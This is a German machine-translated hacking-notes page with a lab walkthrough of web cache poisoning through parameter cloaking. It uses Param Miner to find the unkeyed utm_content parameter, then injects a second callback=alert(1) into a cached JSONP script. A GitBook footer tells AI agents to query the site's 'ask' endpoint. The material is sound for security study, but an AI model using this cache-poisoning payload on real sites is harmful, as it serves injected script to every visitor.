> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/cache-poisoning/parameter-cloaking.md).
# Parameter-Verschleierung
### Parameter-Verdeckung
Dieses Lab ist anfällig für **Web-Cache-Poisoning** weil ein bestimmter Parameter vom Cache-Schlüssel ausgeschlossen ist. / Darüber hinaus gibt es eine **Inkonsistenz in der Interpretation von Parametern** zwischen dem Cache-System und dem Backend. / Ein Benutzer besucht regelmäßig die Startseite der Website mit **Google Chrome**.
Ziel:/ Den Cache vergiften mithilfe der **Parameter-Verdeckung** Technik auszuführen `alert(1)` im Browser des Opfers ausführt.
**Erste Beobachtung**
Das folgende Cookie erscheint in der Anfrage:
```bash
Cookie: country=[object Object]
```
In der Serverantwort wird ein **geolocate** Skript geladen. / Dieses Skript verwendet den Cookie-Wert, um das Land des Benutzers clientseitig festzulegen.
**Identifizierung des verwundbaren Parameters**
Verwenden von **Param Miner (Query-Parameter erraten)**, erkennen wir ein Verhalten von **Parameter-Verdeckung**.
Der entdeckte Parameter ist:
```bash
utm_content
```
Wenn Sie die folgende URL aufrufen:
```bash
/?utm_content=z9qc51
```
Wir beobachten, dass:
* Der Parameterwert kann frei geändert werden
* Der Cache \*\*wird nicht ungültig gemacht\*\*
* Die Antwort bleibt für die folgenden Benutzer gleich
Dies bestätigt, dass `utm_content` ist **vom Cache-Schlüssel ausgeschlossen**.
**Vorgehen über das geolocate-Skript**
Das von der Seite geladene Skript ist:
```bash
/js/geolocate.js?callback=setCountryCookie
```
Hinzufügen des vom Cache ignorierten Parameters:
```bash
/js/geolocate.js?callback=setCountryCookie=test?utm_content=z9111
```
Das folgende Verhalten wird beobachtet:
* Das `Test` Wert wird in der Antwort reflektiert
* Der Cache bleibt unverändert
Dies zeigt, dass das Backend die Parameter anders interpretiert als der Cache.
**Injektion über Parameter-Verdeckung**
Dieser Parsing-Unterschied wird ausgenutzt, indem ein **zweiter Parameter callback** maskiert durch `utm_content`:
```bash
/js/geolocate.js?callback=setCountryCookie&utm_content=z9111;callback=alert(1)
```
Ergebnis:
* Der Cache betrachtet die Anfrage immer als identisch
Das Backend interpretiert `callback=alert(1)` als gültigen neuen Parameter
Das generierte JavaScript wird ausgeführt `alert(1)`
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/web/cache-poisoning/parameter-cloaking.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.